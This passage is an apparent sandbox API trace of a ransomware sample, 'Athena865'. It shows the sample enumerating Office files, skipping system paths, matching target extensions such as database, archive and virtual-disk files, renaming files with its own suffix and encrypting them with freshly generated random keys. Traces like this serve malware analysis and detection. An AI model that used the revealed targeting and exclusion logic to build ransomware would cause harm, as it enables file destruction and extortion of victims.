CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.998] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.999] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x222e70, lpName=0x0) returned 0x17c [0085.001] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x22e70) returned 0x170000 [0085.124] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.124] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.125] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.125] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0085.127] CloseHandle (hObject=0x17c) returned 1 [0085.127] CloseHandle (hObject=0x154) returned 1 [0085.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.136] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67343c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x52b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SHAPNUM.DLL", cAlternateFileName="")) returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2=".") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="..") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="windows") returned -1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="bootmgr") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="temp") returned -1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="pagefile.sys") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="boot") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="ids.txt") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="ntuser.dat") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="perflogs") returned 1 [0085.136] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2="MSBuild") returned 1 [0085.136] lstrlenW (lpString="SHAPNUM.DLL") returned 11 [0085.136] lstrcpyW (in: lpString1=0x241e89e, lpString2="SHAPNUM.DLL" | out: lpString1="SHAPNUM.DLL") returned="SHAPNUM.DLL" [0085.136] lstrlenW (lpString="SHAPNUM.DLL") returned 11 [0085.137] lstrlenW (lpString="Athena865") returned 9 [0085.137] lstrcmpiW (lpString1="APNUM.DLL", lpString2="Athena865") returned -1 [0085.137] lstrlenW (lpString=".dll") returned 4 [0085.137] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2=".dll") returned 1 [0085.137] lstrlenW (lpString=".lnk") returned 4 [0085.137] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2=".lnk") returned 1 [0085.137] lstrlenW (lpString=".ini") returned 4 [0085.137] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2=".ini") returned 1 [0085.137] lstrlenW (lpString=".sys") returned 4 [0085.137] lstrcmpiW (lpString1="SHAPNUM.DLL", lpString2=".sys") returned 1 [0085.137] lstrlenW (lpString="SHAPNUM.DLL") returned 11 [0085.137] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL.Athena865") returned 64 [0085.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll.athena865"), dwFlags=0x1) returned 1 [0085.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.139] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338784) returned 1 [0085.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.140] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.140] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.140] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52e60, lpName=0x0) returned 0x17c [0085.141] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52e60) returned 0x2d50000 [0085.177] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.178] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.178] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.179] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.182] CloseHandle (hObject=0x17c) returned 1 [0085.182] CloseHandle (hObject=0x154) returned 1 [0085.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.184] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x46f70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SHAREPOINTPROVIDER.DLL", cAlternateFileName="SHAREP~1.DLL")) returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2=".") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="..") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="windows") returned -1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="bootmgr") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="temp") returned -1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="pagefile.sys") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="boot") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="ids.txt") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="ntuser.dat") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="perflogs") returned 1 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2="MSBuild") returned 1 [0085.184] lstrlenW (lpString="SHAREPOINTPROVIDER.DLL") returned 22 [0085.184] lstrcpyW (in: lpString1=0x241e89e, lpString2="SHAREPOINTPROVIDER.DLL" | out: lpString1="SHAREPOINTPROVIDER.DLL") returned="SHAREPOINTPROVIDER.DLL" [0085.184] lstrlenW (lpString="SHAREPOINTPROVIDER.DLL") returned 22 [0085.184] lstrlenW (lpString="Athena865") returned 9 [0085.184] lstrcmpiW (lpString1="VIDER.DLL", lpString2="Athena865") returned 1 [0085.184] lstrlenW (lpString=".dll") returned 4 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2=".dll") returned 1 [0085.184] lstrlenW (lpString=".lnk") returned 4 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2=".lnk") returned 1 [0085.184] lstrlenW (lpString=".ini") returned 4 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2=".ini") returned 1 [0085.184] lstrlenW (lpString=".sys") returned 4 [0085.184] lstrcmpiW (lpString1="SHAREPOINTPROVIDER.DLL", lpString2=".sys") returned 1 [0085.184] lstrlenW (lpString="SHAREPOINTPROVIDER.DLL") returned 22 [0085.184] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL.Athena865") returned 75 [0085.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll.athena865"), dwFlags=0x1) returned 1 [0085.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.186] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=290672) returned 1 [0085.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.186] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.187] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.187] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.188] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47270, lpName=0x0) returned 0x17c [0085.189] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47270) returned 0x2d50000 [0085.204] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.204] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.204] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.205] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.208] CloseHandle (hObject=0x17c) returned 1 [0085.208] CloseHandle (hObject=0x154) returned 1 [0085.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.211] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a0f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd84a0f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SketchPadTestSchema.xml", cAlternateFileName="SKETCH~1.XML")) returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2=".") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="..") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="windows") returned -1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="bootmgr") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="temp") returned -1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="pagefile.sys") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="boot") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="ids.txt") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="ntuser.dat") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="perflogs") returned 1 [0085.211] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2="MSBuild") returned 1 [0085.211] lstrlenW (lpString="SketchPadTestSchema.xml") returned 23 [0085.211] lstrcpyW (in: lpString1=0x241e89e, lpString2="SketchPadTestSchema.xml" | out: lpString1="SketchPadTestSchema.xml") returned="SketchPadTestSchema.xml" [0085.211] lstrlenW (lpString="SketchPadTestSchema.xml") returned 23 [0085.211] lstrlenW (lpString="Athena865") returned 9 [0085.211] lstrcmpiW (lpString1="chema.xml", lpString2="Athena865") returned 1 [0085.211] lstrlenW (lpString=".dll") returned 4 [0085.212] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2=".dll") returned 1 [0085.212] lstrlenW (lpString=".lnk") returned 4 [0085.212] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2=".lnk") returned 1 [0085.212] lstrlenW (lpString=".ini") returned 4 [0085.212] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2=".ini") returned 1 [0085.212] lstrlenW (lpString=".sys") returned 4 [0085.212] lstrcmpiW (lpString1="SketchPadTestSchema.xml", lpString2=".sys") returned 1 [0085.212] lstrlenW (lpString="SketchPadTestSchema.xml") returned 23 [0085.212] lstrlenW (lpString="bak") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0085.212] lstrlenW (lpString="ba_") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0085.212] lstrlenW (lpString="dbb") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0085.212] lstrlenW (lpString="vmdk") returned 4 [0085.212] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0085.212] lstrlenW (lpString="rar") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0085.212] lstrlenW (lpString="zip") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0085.212] lstrlenW (lpString="tgz") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0085.212] lstrlenW (lpString="vbox") returned 4 [0085.212] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0085.212] lstrlenW (lpString="vdi") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0085.212] lstrlenW (lpString="vhd") returned 3 [0085.212] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0085.212] lstrlenW (lpString="vhdx") returned 4 [0085.212] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0085.213] lstrlenW (lpString="avhd") returned 4 [0085.213] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0085.213] lstrlenW (lpString="db") returned 2 [0085.213] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0085.213] lstrlenW (lpString="db2") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0085.213] lstrlenW (lpString="db3") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0085.213] lstrlenW (lpString="dbf") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0085.213] lstrlenW (lpString="mdf") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0085.213] lstrlenW (lpString="mdb") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0085.213] lstrlenW (lpString="sql") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0085.213] lstrlenW (lpString="sqlite") returned 6 [0085.213] lstrcmpiW (lpString1="ma.xml", lpString2="sqlite") returned -1 [0085.213] lstrlenW (lpString="sqlite3") returned 7 [0085.213] lstrcmpiW (lpString1="ema.xml", lpString2="sqlite3") returned -1 [0085.213] lstrlenW (lpString="sqlitedb") returned 8 [0085.213] lstrcmpiW (lpString1="hema.xml", lpString2="sqlitedb") returned -1 [0085.213] lstrlenW (lpString="xml") returned 3 [0085.213] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0085.213] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Athena865") returned 76 [0085.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.athena865"), dwFlags=0x1) returned 1 [0085.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.220] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=103) returned 1 [0085.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.220] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.221] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.221] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.221] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0085.228] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0085.230] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.231] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.231] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.232] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0085.232] CloseHandle (hObject=0x17c) returned 1 [0085.232] CloseHandle (hObject=0x154) returned 1 [0085.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.232] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861bf100, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x861bf100, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x80fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="..") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="windows") returned -1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="bootmgr") returned 1 [0085.232] 